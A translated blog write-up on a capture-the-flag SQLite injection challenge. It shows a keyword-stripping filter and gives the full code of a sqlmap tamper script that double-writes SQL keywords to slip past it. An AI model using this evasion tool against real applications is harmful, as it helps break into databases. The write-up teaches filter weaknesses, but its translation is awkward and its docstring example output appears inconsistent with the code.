-->

A Study of Double-Write Bypass for SQLMap - Tamper

 

Introduction

The SQLite injection in the 2021 provincial final was bypassed by double writing. At that time, it was typed by hand rubbing the code. I remembered it in the past few days and thought about writing a tamper to try.

At first, I thought it was very simple, but later I found out that there are many points to pay attention to and torture for a long time.

After I finish it, I will understand why sqlmap does not have its own double-written tamper. There are too many situations involved, and the code needs to be written according to the specific filtering logic, which cannot be unified.

Details

The filtering code is simple:

blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXplaIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "plaN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REplaCE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
Let's take an example of online code, The core code is
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
The logic is: to use regular expressions to search for words, similar to:

\bOR\b

OR                                                                                ORDER
When a keyword is detected in the payload, the keyword is inserted into a random position of the original keyword string.

It the pretty conventional logic, but here are some problems:

Similar to SELECT -> S ELSE LECTECT, if the added position is wrong, a new word that exists in the blacklist may be generated, causing sqlmap to misjudge.

The confusion is not thorough enough. In the code, the unit is a word, but the area will be expanded when filtering. To simplify:

keywords = ['OR','ORDER']
payload = 'ORDER'

When confused: ORDER->OORRDER

When filtering: OORRDER-> ORDER-> '' (empty)

So, how about manually selecting specific words in a keyword list to confuse them uniformly?

The conclusion is yes, but it is laborious. First, you need to write a small script to remove the impure elements in the keyword list. For example, if it ORDER contains OR, then it needs to be ORDERremoved. Secondly, it is necessary to ensure that this word is not used in the test statement of sqlmap, otherwise, it will lead to misjudgment.

After sorting out the above ideas, you can start writing tamper.

Code

Introduce the tamper template before writing the script

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload
  • __priority__ Define script priority: LOWEST, LOWER, LOW, NORMAL, HIGH, HIGHER, HIGHEST
  • dependencies() then declares the Applicable/Not applicable scope of the function, nullable
  • tamper() It is the main function, which processes the incoming payload and returns.

OK, then the full code of the script

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def tamper(payload, **kwargs):
"""
Optimized double-write bypass, insert sequentially and determine whether a new filter word is formed
for example SELECT,When the insertion position is 3, it is SELECTECT, and another word ELSE in the blacklist will be generated, causing misjudgment Relevant judgments are made here to ensure that there is no other sensitive word in the generated characters. Main response:
blacklist = [...]
for n in blacklist:
 regex = re.compile(n, re.IGNORECASE)
 username = regex.sub("", username)

>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""

keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXplaIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER","INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "plaN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REplaCE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

retVal = payload

warnMsg = "The current keyword list is as follows, please pay attention to modify:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)

if payload:
for key in reversed(keywords):
 index = keywords.index(key)
 num = 1
 check = True
 while check:
     if num >= len(key):
         singleTimeWarnMessage('Can't bypass double-write keyword list')
         exit()
     check = False
     repStr = "%s%s%s" % (key[:num], key, key[num:])
     for t in keywords[:index]:
         if re.search(t, repStr) and not re.search(t, key):
             check = True
             break
     num += 1
 retVal = re.sub(key, repStr, retVal, flags=re.I)
return retVal
for key in reversed(keywords): First, enter the outermost keyword loop, use the reverse order here, first 2 and then 1 when confusing, and first 1 and then 2 when filtering, you can restore the code very well.

while num < len(key) and check: Then enter the second layer of circulation. num is the insertion position. For example, ASC, the places that can be inserted are the middle of AS and the middle of SC. If the sensitive words are still detected after they are inserted once, it means that no matter how double-written they are, they will be detected.

for t in keywords[:index]: The third layer of the loop is the second check, for example

['A', 'ELSE', 'B', 'SELECT', 'C'], when confusing, from the back to the front, if the insertion position is not good, SELECT-> SELSELECTECT. In this way, the loop is detected from the front, and if it is detected ELSE, the position is invalid and reinserted. Personally, I feel that the probability of inserting new sensitive words from the middle is relatively small, but after careful consideration, there is no need to add a few more lines of code, so I just use the order.

As for the situation where the location is misjudged illegal is not re. search(t, key)order to avoid ORDER existence OR

When using it, replace the keywords list, get a dozen sqlmap, and it's over!


A rather silent point is re.sub()that the fourth parameter of the function flags.



When writing code, I habitually type in the third parameter position re.I, and then because it int(re.I)is 2, the program runs normally without reporting an error, and the maximum number of replacements is 2. tortured for a long time.